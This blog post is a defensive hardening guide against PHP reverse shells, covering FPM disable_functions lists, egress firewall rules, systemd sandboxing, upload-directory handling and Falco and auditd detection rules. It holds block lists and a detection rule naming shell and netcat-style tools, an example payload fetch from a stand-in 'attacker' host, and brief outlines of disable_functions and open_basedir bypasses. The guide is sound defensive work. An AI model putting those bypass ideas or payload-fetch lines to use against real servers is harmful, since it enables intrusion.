---
title: "Blocking PHP Reverse Shells: A Config-First Guide"
url: https://www.exakat.io/blocking-php-reverse-shells-a-config-first-guide/
date: 2026-08-30
modified: 2026-08-30
author: "dams"
description: "Blocking PHP Reverse Shells: A Config-First Guide Every PHP reverse shell floating around GitHub, pentestmonkey's original and the forty-seven forks that added a banner and changed the default port, does..."
categories:
  - "Code auditing"
tags:
  - "security"
  - "shell"
image: https://www.exakat.io/wp-content/uploads/2026/08/chocolatebox.320.jpg
word_count: 3174
---

# Blocking PHP Reverse Shells: A Config-First Guide

# Blocking PHP Reverse Shells: A Config-First Guide

Every PHP reverse shell floating around GitHub, [pentestmonkey's](https://pentestmonkey.net/tools/web-shells/php-reverse-shell) original and the forty-seven forks that added a banner and changed the default port, does the same three things. It opens an outbound socket, it spawns a shell, and it detaches from the request so it doesn't get murdered by `max_execution_time` thirty seconds later.

That's it. That's the whole trick. Which is excellent news, because it means you don't need to read any particular shell's source to defeat it. Cut any one of those three legs and the thing falls over. Cut all three and it doesn't even get the satisfaction of a stack trace.

## Part 1: The Bit For People Who Have An Incident Open

You're skimming. I respect that. Here's everything, no explanations. Come back for Part 2 when the adrenaline wears off.

**PHP-FPM pool**: in `/etc/php/8.3/fpm/pool.d/yoursite.conf`, always use `php_admin_value`, not `php_value`:

```
php_admin_value[disable_functions] = exec,passthru,shell_exec,system,popen,proc_open,proc_close,proc_nice,pcntl_exec,pcntl_fork,pcntl_signal,posix_setsid,posix_setuid,posix_kill,fsockopen,pfsockopen,stream_socket_client,socket_create,socket_connect,dl,putenv,symlink,link
php_admin_value[open_basedir] = /var/www/site:/tmp/site
php_admin_flag[allow_url_fopen] = Off
php_admin_flag[allow_url_include] = Off
php_admin_flag[expose_php] = Off
php_admin_value[max_execution_time] = 30

security.limit_extensions = .php
user = site1
group = site1
listen.owner = www-data
listen.mode = 0660
```

**Egress firewall**. This is the layer that actually saves the day:

```
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.5 -p tcp --dport 3306 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW -j REJECT
```

**systemd drop-in** (`/etc/systemd/system/php8.3-fpm.service.d/hardening.conf`):

```
[Service]
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
RestrictAddressFamilies=AF_UNIX
CapabilityBoundingSet=
MemoryDenyWriteExecute=yes
ReadWritePaths=/var/log/php /var/lib/php/sessions
```

**Mount options** for anywhere a file can land:

```
/dev/sdb1 /var/www/uploads ext4 defaults,noexec,nosuid,nodev 0 2
```

**Web server**. This never hands a user-writable directory to the PHP handler:

```
location ^~ /uploads/ {
location ~ \.php$ { deny all; }
}
```

Reload everything. Go drink water. The rest of this post explains why each of those lines is there, which matters more than you'd think, because about a third of them have a gotcha that will either break your app or give you a false sense of security.

## Part 2: The Three-Legged Stool

Before the line-by-line, here's the mental model that makes all of it make sense.

A reverse shell needs three capabilities:

| Leg | Typical PHP | What it does |
| --- | ----------- | ------------ |
| **The socket** | [`fsockopen()`](https://www.php.net/manual/en/function.fsockopen.php), `stream_socket_client()`, `socket_connect()` | Dials home to the attacker's listener |
| **The executor** | [`proc_open()`](https://www.php.net/manual/en/function.proc-open.php), `shell_exec()`, backticks | Runs `/bin/sh -i` and wires it to the socket |
| **The escape** | [`pcntl_fork()`](https://www.php.net/manual/en/function.pcntl-fork.php) + [`posix_setsid()`](https://www.php.net/manual/en/function.posix-setsid.php) | Detaches so the shell outlives the HTTP request |

Most hardening guides obsess over the executor and forget the socket entirely. This is a mistake with a long and embarrassing history. `disable_functions` bypasses are a genre unto themselves: new ones appear every couple of years, usually via some FFI, `LD_PRELOAD`, or bug-in-a-mail-function trick. If your only defence is a list of function names in a config file, you're betting your incident response budget on a directive that the PHP manual itself describes as circumventable and explicitly says should not be considered sufficient security on shared hosting.

So: block the executor *and* the socket *and* the escape, and then put a firewall behind all three, because you don't trust any of them individually. Belt, braces, and a second pair of trousers.

## Part 3: php.ini and the FPM Pool, Line by Line

📚 [Core php.ini directives](https://www.php.net/manual/en/ini.core.php) · [FPM configuration](https://www.php.net/manual/en/install.fpm.configuration.php) · [OWASP PHP Configuration Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html)

### php_admin_value vs php_value: read this bit or the rest is decorative

In an FPM pool you can set PHP settings two ways, and the difference is the entire ballgame:

- `php_value[...]` can be overridden at runtime by `ini_set()`, `.user.ini`, or `.htaccess`.
- `php_admin_value[...]` cannot be overridden.

If you set `disable_functions` with `php_value`, an attacker who can write a `.user.ini` next to their webshell can simply turn it back off. Congratulations on your security theatre. **Always use `php_admin_value`**.

Two more gotchas that catch people:

- `disable_functions` is `PHP_INI_SYSTEM`. You cannot set it in `httpd.conf` or `.htaccess`. It lives in `php.ini` or the FPM pool, full stop.
- When you define `disable_functions` in a pool, FPM **appends** to whatever `php.ini` already had rather than replacing it. Usually convenient, occasionally confusing when you're trying to *remove* something from the list and it stubbornly stays disabled. Check `phpinfo()` for the effective value, not your config file.

### disable_functions: the list, explained

📚 [`disable_functions` docs](https://www.php.net/manual/en/ini.core.php#ini.disable-functions)

**Command execution:** `exec`, `passthru`, `shell_exec`, `system`, `popen`, `proc_open`, `proc_close`, `proc_nice`, `pcntl_exec`

These are the obvious ones. Note that disabling `shell_exec` also kills the backtick operator (``ls``), which is a pleasant two-for-one: the backticks are documented as being an alias for `shell_exec`, so they go down with the ship. `proc_open` deserves special mention: it's the one most reverse shells actually use, because unlike `system()` it gives you separate stdin/stdout/stderr pipes to bolt onto a socket. Plenty of "hardened" servers block `system` and `exec` while leaving `proc_open` wide open because some framework's process helper needed it once in 2019.

**Sockets:** `fsockopen`, `pfsockopen`, `stream_socket_client`, `socket_create`, `socket_connect`

The forgotten half. With these gone, the shell can execute all the commands it likes and still has no way to send you the output. It's a burglar who breaks in, finds the safe, opens the safe, and then discovers the front door has vanished.

Note that `stream_socket_client` is the modern equivalent of `fsockopen` and does the same job, so blocking one without the other accomplishes exactly nothing.

**Daemonisation:** `pcntl_fork`, `pcntl_signal`, `posix_setsid`, `posix_setuid`, `posix_kill`

This is what lets a shell survive past the request lifecycle. Without `pcntl_fork` + `posix_setsid`, your shell is a session leader's problem and dies when FPM reaps the worker. Most PHP-FPM builds don't even have pcntl functions available in the web SAPI, but "most" is doing heavy lifting there. Verify with `php -m` and `phpinfo()` rather than assuming.

**The sneaky ones:** `dl`, `putenv`, `symlink`, `link`

- `dl()` loads shared extensions at runtime. Handing an attacker the ability to load arbitrary `.so` files rather defeats the point of the rest of the list.
- [`putenv()`](https://www.php.net/manual/en/function.putenv.php) is the classic lever for `LD_PRELOAD` bypasses. Set the env var, trigger something that forks a process, and your carefully curated `disable_functions` list gets stepped around entirely. This is the single most common bypass in the wild.
- `symlink`/`link` are how attackers escape `open_basedir`. Point a symlink at `/etc/passwd`, race the check, read the file.

**Fair warning:** `putenv` breaks a surprising number of applications, including some that set timezone or locale at runtime. Test in staging. Yes, really. I know you weren't going to.

### open_basedir

📚 [`open_basedir` docs](https://www.php.net/manual/en/ini.core.php#ini.open-basedir)

```
php_admin_value[open_basedir] = /var/www/site:/tmp/site
```

Restricts every filesystem operation to the listed prefixes. This doesn't stop a reverse shell directly: once you have `/bin/sh`, `open_basedir` is a PHP-level check and the shell is no longer in PHP. But it dramatically limits the damage from the *file-read* and *webshell-drop* phases that usually come first.

Give each site its own basedir and its own temp directory. Sharing `/tmp` across pools is how a compromise of your least-important WordPress plugin becomes a compromise of everything.

Note the trailing-slash trap: `/var/www/site` (no slash) also matches `/var/www/site-backup-old-DO-NOT-DELETE`. Use a trailing slash if you mean the directory specifically.

### allow_url_fopen and allow_url_include

📚 [Filesystem configuration docs](https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)

```
php_admin_flag[allow_url_fopen] = Off
php_admin_flag[allow_url_include] = Off
```

`allow_url_include` should have been off by default since the dawn of time, and as of PHP 7.4 it's deprecated, but check anyway: you'd be amazed. `allow_url_fopen` is what lets `file_get_contents('http://attacker/stage2.php')` work, which is how the second-stage payload usually arrives.

This one genuinely breaks things. Older libraries use `file_get_contents()` for HTTP. The fix is to make them use cURL, which is a real code change, which means real work. Budget for it rather than quietly leaving the setting on.

### max_execution_time

📚 [`max_execution_time` docs](https://www.php.net/manual/en/info.configuration.php#ini.max-execution-time)

```
php_admin_value[max_execution_time] = 30
```

A reverse shell that stays inside the PHP request gets guillotined after 30 seconds. This is genuinely useful against lazy shells and completely useless against forking ones, which is precisely why `pcntl_fork` and `posix_setsid` are on the disable list. The two settings are a pair; neither works alone.

Also note this only counts CPU time on some platforms and doesn't count time blocked on I/O, and a reverse shell sitting on a socket waiting for you to type is, technically speaking, blocked on I/O. Don't lean on this one.

### security.limit_extensions

📚 [FPM configuration docs](https://www.php.net/manual/en/install.fpm.configuration.php)

```
security.limit_extensions = .php
```

FPM refuses to execute anything that doesn't end in `.php`. This defends against web-server misconfigurations that would otherwise let `shell.php.jpg` or `shell.phtml` get parsed. The default is already `.php`, but many distro packages and control panels helpfully expand it to `.php .php3 .php4 .php5 .php7`, which is four extra ways to lose.

### One pool per site

```
user = site1
group = site1
listen = /run/php/site1.sock
listen.owner = www-data
listen.mode = 0660
```

Separate Unix user per site, separate socket, socket readable only by the web server. Without this, a compromise of any one site reads every other site's config files, database credentials, and session data, because they're all running as `www-data` and `www-data` can read `www-data`'s files. Shocking, I know.

## Part 4: Egress Filtering: The Layer That Actually Works

📚 [iptables-extensions(8)](https://man7.org/linux/man-pages/man8/iptables-extensions.8.html) · [nftables wiki](https://wiki.nftables.org/wiki-nftables/index.php/Main_Page) · [Kubernetes NetworkPolicy](https://kubernetes.io/docs/concepts/services-networking/network-policies/)

If you only do one thing from this post, do this one. `disable_functions` is a config directive maintained by people who have repeatedly said it isn't a security boundary. A default-deny egress firewall is a kernel-enforced rule that doesn't care what clever function-name trick anyone found this week.

Your web tier makes outbound connections to, what, four things? The database, the cache, an SMTP relay, maybe a payment API. Everything else is either a mistake or an attack.

```
# Allow the four things
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.5 -p tcp --dport 3306 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.6 -p tcp --dport 6379 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.7 -p tcp --dport 587 -j ACCEPT

# Log the interesting failures
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW \
-j LOG --log-prefix "PHP-EGRESS-DENY: " --log-level 4

# Deny the rest
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW -j REJECT
```

The `--uid-owner` match is the good bit: it applies to the PHP user specifically, so your package manager, monitoring agent, and backup jobs carry on unmolested while PHP lives in a box. `--ctstate NEW` means established connections aren't re-evaluated, which keeps the rule cheap.

Use `REJECT` rather than `DROP` in most cases: a rejected connection fails instantly and loudly, which shows up in your app logs as a clear error rather than a mysterious 30-second hang. If you specifically want to waste an attacker's time, `DROP` is your friend, but you'll waste your own developers' time too.

**Kubernetes version:** a default-deny egress `NetworkPolicy` on the web namespace, then explicit allows.

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: web
spec:
podSelector: {}
policyTypes:
- Egress
```

The classic mistake here: this blocks DNS too, and your pods will fail in ways that look nothing like a network policy problem. Add an explicit allow for port 53 to `kube-system`. Also note that NetworkPolicy is enforced by your CNI plugin, so if you're running a CNI that doesn't support it, you've written a very pretty YAML file that does absolutely nothing. Test it. `kubectl exec` into a pod and try to curl something.

**Second classic mistake:** allowing egress to port 53 on *any* IP to "fix DNS." Attackers exfiltrate over DNS. Scope it to your cluster DNS service.

## Part 5: systemd Hardening

📚 [systemd.exec(5)](https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html) · [systemd-analyze security](https://www.freedesktop.org/software/systemd/man/latest/systemd-analyze.html)

Create a drop-in rather than editing the unit file, so package updates don't clobber your work:

```
systemctl edit php8.3-fpm.service
```

```
[Service]
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
PrivateDevices=yes
RestrictAddressFamilies=AF_UNIX
RestrictNamespaces=yes
RestrictSUIDSGID=yes
CapabilityBoundingSet=
MemoryDenyWriteExecute=yes
LockPersonality=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
SystemCallArchitectures=native
ReadWritePaths=/var/log/php /var/lib/php/sessions /var/www/site/storage
```

The highlights:

**`RestrictAddressFamilies=AF_UNIX`** is the nuclear option and it's beautiful. It stops the process from creating IP sockets *at the kernel level*, so it doesn't matter what PHP functions are available, what bypass someone found, or what binary the shell manages to execute. `socket(AF_INET, ...)` returns `EAFNOSUPPORT` and the callback never happens.

This works perfectly if PHP talks to MySQL and Redis over Unix sockets. If you're connecting over TCP, you'll need `RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6` and you're back to relying on the firewall. Consider this a decent argument for moving your database connections to Unix sockets where you can.

**`NoNewPrivileges=yes`** means no setuid binary can elevate. This is the single highest value-to-effort line in the file and it essentially never breaks anything.

**`ProtectSystem=strict`** makes the entire filesystem read-only except what you list in `ReadWritePaths=`. A shell that can't write can't persist. Note the interaction: with `ProtectSystem=strict` *and* `PrivateTmp=yes`, `/tmp` and `/var/tmp` remain writable, but they're private to the unit, so anything dropped there is invisible to the rest of the system and vanishes on restart. That's a feature.

**`CapabilityBoundingSet=`** (empty) drops every capability. FPM workers don't need any; the master might need `CAP_NET_BIND_SERVICE` if it binds a low port, but if you're using a Unix socket, it doesn't.

**`MemoryDenyWriteExecute=yes`** blocks W+X memory mappings, which kills most in-memory shellcode. Incompatible with JIT. When you're running PHP 8 with `opcache.jit` enabled, this will break things loudly. Pick one.

Then run:

```
systemd-analyze security php8.3-fpm.service
```

It scores your unit from 0 to 10 and tells you what else to turn on. It's oddly compelling, like a credit score for paranoia. Chasing a perfect score will break your application, so treat it as a menu rather than a target.

## Part 6: Filesystem: Stopping The Drop, Not Just The Callback

📚 [mount(8)](https://man7.org/linux/man-pages/man8/mount.8.html) · [nginx location](https://nginx.org/en/docs/http/ngx_http_core_module.html#location) · [Apache RemoveHandler](https://httpd.apache.org/docs/2.4/mod/mod_mime.html#removehandler)

Everything above assumes the attacker got a `.php` file executing. Let's make that harder too.

**`noexec` on every writable path:**

```
/dev/sdb1 /var/www/uploads ext4 defaults,noexec,nosuid,nodev 0 2
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
```

This stops dropped binaries. The "PHP shell is limited, let me upload a proper implant" step. It does *not* stop PHP files, because those are read and interpreted, not executed. `noexec` is necessary, not sufficient. (And yes, `sh script.sh` still works on a `noexec`mount, because the interpreter is the thing being executed. Nothing is ever simple.)

**Webroot not owned by the PHP user**:

```
chown -R deploy:site1 /var/www/site
chmod -R 750 /var/www/site
```

PHP reads its own code but can't rewrite it. Deploys run as `deploy`. If your CMS wants write access to its own plugin directory, that CMS is asking you to accept remote code execution as a feature, and you should at minimum confine the writable paths to the narrowest possible list.

**Never route user-writable directories to the PHP handler**. This is the single most common real-world path to a webshell: upload `avatar.php`, request `/uploads/avatar.php`, receive shell.

nginx:

```
location ^~ /uploads/ {
location ~ \.php$ { deny all; }
}
```

Apache:

```
<Directory /var/www/site/uploads>
RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .php8
RemoveType .php .phtml
php_flag engine off
<FilesMatch "\.(php|phtml|phar)$">
Require all denied
</FilesMatch>
</Directory>
```

Note `.phar` in that list. People forget `.phar`. Attackers do not forget `.phar`.

The `^~` prefix in the nginx example matters. It stops nginx from evaluating later regex locations for that path, including your `\.php$`fastcgi block. Get this wrong and the block silently does nothing, which is the worst kind of nothing.

**File integrity monitoring** with [AIDE](https://aide.github.io/) or Tripwire on the webroot. A new file in a directory that hasn't changed since deploy is a fantastic signal, and it's the difference between finding out in ten minutes and finding out from a customer's tweet.

## Part 7: Detection, Because Prevention Fails

📚 [auditctl(8)](https://man7.org/linux/man-pages/man8/auditctl.8.html) · [Falco rules](https://falco.org/docs/rules/)

Assume everything above eventually gets bypassed by someone more patient than you. What does the bypass look like in your logs?

**auditd** watches for the PHP user executing anything:

```
-a always,exit -F arch=b64 -S execve -F uid=33 -k php_exec
```

(uid 33 is `www-data` on Debian/Ubuntu; check yours.)

**Falco / EDR**, where the rule you want is "php-fpm spawned a shell". In a normal application this happens approximately never, which makes it a near-zero-false-positive detection:

```
- rule: PHP-FPM Spawned Shell
desc: php-fpm should never spawn an interactive shell
condition: >
spawned_process and proc.pname in (php-fpm, php-fpm8.3) and
proc.name in (sh, bash, dash, zsh, nc, ncat, socat, python3, perl)
output: "Shell spawned by php-fpm (user=%user.name cmd=%proc.cmdline)"
priority: CRITICAL
```

**Firewall logs**, every packet hitting that `LOG` rule from Part 4 is either a bug in your app or someone dialling out. Both are worth a page.

Tune these before you deploy them, or you will get paged at 3am because a cron job legitimately runs `sh` and you'll disable the rule in a fit of pique, and then six months later something bad will happen quietly.

## Part 8: The Thing That Will Break

Here's the honest part. You will find that something in your application legitimately needs `exec`. It's always one of:

- Image processing shelling out to ImageMagick or `ffmpeg`
- PDF generation via `wkhtmltopdf` or `gs`
- Some 2014-era library that shells out to `git`
- A "temporary" script from a contractor who is no longer reachable

The wrong fix is to punch a hole in the web tier's config. The right fix is to move that work to a queue worker: a separate process, ideally a separate container or host, with its own restrictive config, that pulls jobs from Redis or a database table and is never reachable from the internet.

Yes, that's an architecture change. Yes, that's more work than deleting `exec` from the disable list. But the difference is that a queue worker with `exec` can only be triggered by jobs your application enqueued, whereas a web tier with `exec` can be triggered by anyone who finds a file upload bug.

If you truly can't split it out, at minimum: use `escapeshellarg()` religiously, allowlist the exact binaries, and put the firewall rules from Part 4 in place, because the firewall doesn't care that you needed `exec` for thumbnails.

## Part 9: Verify It, Don't Assume It

Config that isn't tested is config that isn't applied. Quick checks:

```
# What's actually disabled? (Not what you wrote in the file, what's live)
php -r 'echo ini_get("disable_functions"), PHP_EOL;'

# For FPM, check via the web SAPI, it can differ from CLI:
echo '<?php phpinfo();' > /var/www/site/_check.php # then delete it. Now. Really.

# Can PHP dial out at all?
php -r 'var_dump(@fsockopen("example.com", 80));'

# Systemd score
systemd-analyze security php8.3-fpm.service

# Is your uploads directory actually non-executable?
curl https://yoursite/uploads/test.php # should download or 403, never execute
```

That last one is the test everyone skips and everyone should run. Drop a harmless `<?php echo "nope";` file in your uploads directory, request it, and confirm you get source or a 403 rather than the word "nope". Then delete it.

## The Summary Nobody Asked For

A reverse shell needs a socket, an executor, and an escape. Block all three in PHP, then assume that block will fail and put a default-deny egress firewall behind it, then assume *that* will fail and make the filesystem read-only, then assume everything failed and write the detection rule.

None of these layers is individually sufficient. That's fine. That's the point. Security that depends on one thing being perfect is just optimism with a config file.

### Further Reading

- [PHP Security section of the manual](https://www.php.net/manual/en/security.php)
- [OWASP PHP Configuration Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html)
- [Core php.ini directives](https://www.php.net/manual/en/ini.core.php)
- [FPM configuration reference](https://www.php.net/manual/en/install.fpm.configuration.php)
- [systemd.exec(5) sandboxing options](https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html)
- [Kubernetes NetworkPolicy](https://kubernetes.io/docs/concepts/services-networking/network-policies/)
- [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks) for your distro